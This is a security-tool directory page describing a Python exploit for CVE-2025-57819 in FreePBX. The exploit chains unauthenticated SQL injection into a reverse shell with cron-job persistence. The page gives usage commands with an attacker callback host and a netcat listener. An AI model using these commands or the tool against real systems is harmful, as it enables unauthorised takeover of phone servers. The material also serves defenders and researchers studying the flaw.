Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/its1zero/cve-2025-57819-exploit
Persistence MechanismsVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingPayload Development
GitHub
Share
its1zero/cve-2025-57819-exploit

cve-2025-57819-exploit

Python exploit for CVE-2025-57819 targeting FreePBX via unauthenticated SQL injection to achieve remote code execution with automatic reverse shell and cron-based persistence.

View Repository
274 months agoNot yet reviewed

CVE-2025-57819 Exploit

Metadata

  • Severity: Critical (9.8)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Type: Unauthenticated SQL Injection → Remote Code Execution
  • Affected Software: FreePBX (endpoint module) < 15.0.66, < 16.0.89 and < 17.0.3
  • Tested On: FreePBX 16.0.40.7 on CentOS 7 with Apache 2.4

Overview

This script exploits CVE-2025-57819 in a vulnerable FreePBX endpoint module. The vulnerability allows SQL injection, which is leveraged to inject malicious cron jobs.

There are no additional steps necessary like in other public exploits through interact over an uploaded webshell with the target. It is a straight forward approach, which will brings your directly reverse shell access.

Impact

Remote code execution is achieved through SQL injection and cron job manipulation. Successful exploitation results in a reverse shell on the target system. Depending on configuration, this may lead to full system compromise.

Features

  • SQL injection via vulnerable AJAX endpoint
  • Automatic reverse shell payload generation
  • Cron job persistence via scheduled execution every minutes (* * * * *)
  • Automatic cleanup of injected cron job
  • Uses hex-encoded payloads, as base64 payloads are corrupted when + characters are interpreted as spaces.

Usage

Run the exploit by providing the target and listener configuration:

python3 cve-2025-57819.py <target> <lhost> <lport>

Parameters

  • <target>: Target hostname or IP address (vulnerable FreePBX instance)
  • <lhost>: Attacker IP address for reverse shell callback
  • <lport>: Listening port for incoming connection

Example:

python3 cve-2025-57819.py freepbx.local 10.10.16.38 9999

Listener Setup

Start a listener before executing the exploit:

nc -lvnp <port>

Example:

nc -nlvp 9999

Disclaimer

This tool is intended for educational purposes and authorized security testing only. Unauthorized use against systems without explicit permission is illegal. The author assumes no responsibility for misuse or damage caused by this tool.

Author

Its1Zero - [email protected]

References

  • https://nvd.nist.gov/vuln/detail/cve-2025-57819
  • https://github.com/freepbx/security-reporting/security/advisories/ghsa-m42g-xg4c-5f3h
  • https://github.com/watchtowrlabs/watchTowr-vs-FreePBX-CVE-2025-57819
Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    989
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    576
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    354
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    339
  • 5

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    323
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    315

Explore all tools

Browse our collection of tools

View all tools →